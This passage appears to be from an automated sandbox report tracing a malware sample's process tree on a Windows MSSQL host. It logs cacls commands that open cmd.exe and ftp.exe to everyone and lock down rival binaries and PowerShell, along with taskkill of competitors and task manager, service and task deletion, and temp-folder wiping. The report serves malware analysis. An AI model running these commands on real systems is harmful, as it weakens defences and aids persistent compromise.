  - System Location Discovery: System Language Discovery
  PID:2632
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /t /g system:f
    3⤵
    PID:2536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:4252
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3216
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:5080
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:4596
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4368
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:1220
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:5760
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:5412
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2832
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:6040
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:924
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4380
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:2636
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:2180
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:1660
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:1080
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:5916
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:4548
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:3280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:3284
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2476
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:2228
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:264
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:768
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATC.exe
  2⤵
  PID:1136
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATC.exe
    3⤵
    PID:4680
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATC.exe
  2⤵
  PID:1036
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATC.exe
    3⤵
    - Kills process with taskkill
    PID:4416
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATN.exe
  2⤵
  - Executes a command shell one-liner
  PID:5896
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATN.exe
    3⤵
    - Kills process with taskkill
    PID:3116
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATN.exe
  2⤵
  PID:2876
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6020
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATN.exe
    3⤵
    - Kills process with taskkill
    PID:3464
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATA.exe
  2⤵
  PID:1580
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATA.exe
    3⤵
    - Kills process with taskkill
    PID:3380
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATA.exe
  2⤵
  PID:4624
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATA.exe
    3⤵
    PID:2176
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\MSSQL~1\AppData\Local\Temp\*
  2⤵
  PID:3872
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\MSSQLSERVER\AppData\Local\Temp\*
  2⤵
  PID:5556
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\Temp\*
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5140
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\*
  2⤵
  PID:1964
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5144
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\Administrator\AppData\Local\Temp\*
  2⤵
  PID:2780
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6132
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\TempUpdate2.bat
  2⤵
  PID:4748
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\@cacls.exe" /e /t /g everyone:f
    3⤵
    PID:4752
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\@cacls.exe" /e /t /g everyone:f
    3⤵
    PID:2400
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\@cacls.exe" /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5908
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\@cacls.exe" /e /t /g everyone:f
    3⤵
    PID:5196
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\@cacls.exe" /e /t /g system:f
    3⤵
    PID:2804
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\@cacls.exe" /e /t /g system:f
    3⤵
    PID:2420
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\@cacls.exe" /e /t /g system:f
    3⤵
    PID:4440
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\@cacls.exe" /e /t /g system:f
    3⤵
    PID:2772
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:2548
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:5172
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:5668
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:3392
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4184
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g system:f
    3⤵
    PID:3216
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g system:f
    3⤵
    PID:4312
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1320
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:4456
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:768
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:2432
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:1812
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g system:f
    3⤵
    PID:2080
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g system:f
    3⤵
    PID:2648
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g system:f
    3⤵
    PID:3176
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g system:f
    3⤵
    PID:248
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Sqltem64.exe
    3⤵
    - Kills process with taskkill
    PID:3884
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Sqltem64.exe
    3⤵
    PID:2560
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Diskraid.exe
    3⤵
    - Kills process with taskkill
    PID:704
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Diskraid.exe
    3⤵
    PID:5660
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols" /t /e /c /r everyone
    3⤵
    PID:4740
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols" /t /e /c /r system
    3⤵
    PID:2692
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\Diskraid.exe" /t /e /c /r everyone
    3⤵
    PID:4420
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\Diskraid.exe" /t /e /c /r system
    3⤵
    PID:5592
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols" /t /e /c /r everyone
    3⤵
    PID:4940
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols" /t /e /c /r system
    3⤵
    PID:2656
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\*" /t /e /c /r everyone
    3⤵
    PID:3144
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\*" /t /e /c /r system
    3⤵
    PID:4892
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SQL Server\Sqltem64.exe" /t /e /c /r everyone
    3⤵
    PID:4796
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SQL Server\Sqltem64.exe" /t /e /c /r system
    3⤵
    PID:2644
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\Diskraid.exe" /t /e /c /r everyone
    3⤵
    PID:3424
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\Diskraid.exe /t /e /c /r system
    3⤵
    PID:4212
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\*" /t /e /c /r everyone
    3⤵
    PID:1836
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\*" /t /e /c /r system
    3⤵
    PID:4204
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SQL Server\Sqltem64.exe" /t /e /c /r everyone
    3⤵
    PID:2592
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SQL Server\Sqltem64.exe" /t /e /c /r system
    3⤵
    PID:2236
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\Diskraid.exe" /t /e /c /r everyone
    3⤵
    PID:6096
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\Diskraid.exe" /t /e /c /r system
    3⤵
    PID:3340
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Norporati Windows AppVNice"
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1308
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows SystenApp"
    3⤵
    - Launches sc.exe
    PID:3236
- - C:\Windows\SysWOW64\sc.exe
    sc delete "dorporati windows dribe diskraid"
    3⤵
    - Launches sc.exe
    PID:5348
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Systen64.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:3684
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Systen64.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:5808
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im AppVNice.exe
    3⤵
    - Kills process with taskkill
    PID:3036
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im AppVNice.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5480
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp" /t /e /c /r everyone
    3⤵
    PID:4932
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp" /t /e /c /r system
    3⤵
    PID:5440
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols" /t /e /c /r everyone
    3⤵
    PID:4620
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols" /t /e /c /r system
    3⤵
    PID:1272
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystenApp" /t /e /c /r everyone
    3⤵
    PID:972
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystenApp" /t /e /c /r system
    3⤵
    PID:1556
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\AppVNice.exe" /t /e /c /r everyone
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1376
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\AppVNice.exe" /t /e /c /r system
    3⤵
    PID:3416
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp" /t /e /c /r everyone
    3⤵
    PID:3732
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp" /t /e /c /r system
    3⤵
    PID:1316
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols" /t /e /c /r everyone
    3⤵
    PID:5840
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols" /t /e /c /r system
    3⤵
    PID:6000
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)Microsoft SystenApp\*" /t /e /c /r everyone
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5556
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp\*" /t /e /c /r system
    3⤵
    PID:2148
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\*" /t /e /c /r everyone
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3740
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\*" /t /e /c /r system
    3⤵
    PID:1476
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp\Systen64.exe" /t /e /c /r everyone
    3⤵
    PID:4340
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp\Systen64.exe" /t /e /c /r system
    3⤵
    PID:1964
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\AppVNice.exe" /t /e /c /r everyone
    3⤵
    PID:3988
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\AppVNice.exe /t /e /c /r system
    3⤵
    PID:4364
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystenApp\*" /t /e /c /r everyone
    3⤵
    PID:4536
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystenApp\*" /t /e /c /r system
    3⤵
    PID:4588
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\*" /t /e /c /r everyone
    3⤵
    PID:2224
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\*" /t /e /c /r system
    3⤵
    PID:5600
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystenApp\Systen64.exe" /t /e /c /r everyone
    3⤵
    PID:1244
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystenApp\Systen64.exe" /t /e /c /r system
    3⤵
    PID:5308
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\AppVNice.exe" /t /e /c /r everyone
    3⤵
    PID:2980
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\AppVNice.exe" /t /e /c /r system
    3⤵
    PID:4924
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystelApp\*" /t /e /c /r everyone
    3⤵
    PID:1608
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystelApp\*" /t /e /c /r system
    3⤵
    PID:2792
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystelApp\*" /t /e /c /r everyone
    3⤵
    PID:4132
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystelApp\*" /t /e /c /r system
    3⤵
    PID:5616
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Norporati Windows AppVNice"
    3⤵
    - Launches sc.exe
    PID:4992
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows SystenApp"
    3⤵
    - Launches sc.exe
    PID:3900
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "WinSystemUpdate" /F
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "WinUpdateHelper" /F
    3⤵
    PID:3156
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" /t /e /c /r everyone
    3⤵
    PID:6040
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /t /e /c /r system
    3⤵
    PID:4444
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /t /e /c /r everyone
    3⤵
    PID:5204
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /t /e /c /r system
    3⤵
    PID:5864
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5916
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Rsytvcp.exe
    3⤵
    - Kills process with taskkill
    PID:4816
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Rsytvcp.exe
    3⤵
    PID:1004
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdxgiwrap.exe
    3⤵
    - Kills process with taskkill
    PID:2080
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdxgiwrap.exe
    3⤵
    - Kills process with taskkill
    PID:4664
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files (x86)\Microsoft Rsytvcem" /t /e /c /r everyone
    3⤵
    PID:5292
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files (x86)\Microsoft Rsytvcem" /t /e /c /r system
    3⤵
    PID:5068
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files (x86)\Microsoft Nvdxgiwrap" /t /e /c /r everyone
    3⤵
    PID:1104
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:1504
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5592
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  PID:2292
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    PID:6248
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:4644
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4108
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:3156
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  PID:1876
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    PID:6260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3340
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:6272
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1976
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1192
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:6228
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g system:f
  2⤵
  PID:1308
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:6168
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  PID:4472
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:952
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:4964
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:3356
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:6448
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:3380
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:6384
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:3948
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2368
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:6440
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:5964
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:6432
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:616
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:6488
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  PID:5388
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2912
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:6512
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:1096
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:6472
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:1556
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:6420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g everyone:f
  2⤵
  PID:2224
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2336
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6528
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  PID:976
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2792
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6572
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:1164
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5908
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6456
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5992
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5196
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6592
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:4752
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5616
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6548
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
